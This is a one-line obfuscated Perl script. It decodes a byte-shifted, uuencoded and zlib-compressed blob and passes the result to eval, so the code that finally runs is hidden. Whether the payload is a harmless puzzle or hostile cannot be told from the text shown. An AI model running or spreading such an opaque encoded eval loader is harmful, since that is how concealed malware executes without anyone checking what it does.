($z=q[usezCompress::Zlib;eval(uncompress(unpack("u",uc(join"",map{chr($_-3)}unpack"C*",q!pA0m@8)pr{g;7b5pz:'r(%3:58B?&ncg7r+3%?94c7<4gmuiAy(2o)6+274=tpr^xz&)uub8f,jro{?__`?bysio)%b92=^:p(0|xA'>|q`sjfl;7<88t65)v,p-3u{'d,if%oq{+}=85|ps9(1xz=*Axf,%`vxq=ce83uiv,C@&*+ik(bs(5<{po;1l(43,g>@cgqh1_49($yitx{2@y>9'dclwx`C;^d:2ok.$>-?0/g_;(w^lpho/uh5,f'(85,f4vci6)4,8vimvBi=/^u@``:ipq+_.m6dyrq)%sewz)%(a}osj-o+)Ce/bpxljtym++k<(osn7po3'p-+^AAfwoh$r%i}=l(hbz@0//<=5boi/geC='nlh9l=/`/by2ln*o{eol(,op1/ge3;.ggnCdCu2=svf$?ig6+)jf,.4itB*3tC2kb{4b8ra@33nty(bpt._6x''0)4z:,1krflg6s|r.k8,1teB.3>18(%i;j)r/rkbA;?C}be*e|i?0pp%fc=5.f*},%un9q:&c5?c^6bu;'rkBgphn)C}C-'A;em|,j(u';tA2>w:)&p1abp@_A$^q$u69-_,C6Bw@u3|.e14v?.Ck`|{w;^2`q>_on=-g:ix.,1+p))h3ak{ovfA<)m|or3_,.`_q(fm`:t|5?:k.w/q6%xpf}x.d@_rB)exCi&B;y*0vt{@{..a6`jh8B$?`|}'8b@ec8|&nyd$8=y3=$y4p.{1)8wBc.`}8(=}o{?(95?2=9$xwB2>;Ai}'x;vrmfo`&:{3Ap1f6wqqc|y3ub(6ar`85s|u_x2sab}A=:9r?%nk0={u.sib}r6:z'npenv{1`p.tmdjz?1n0$or^'}^^)}|ba,&7|w?2uq*lb7gzea>1n}(j`b0>}bk?fz+{*2{2b>j)j4eB6k`x&dr_j4g{xB@7)|xbe4@f'!))))])=~s/\s//sg;$z=~s/z/ /;eval$z;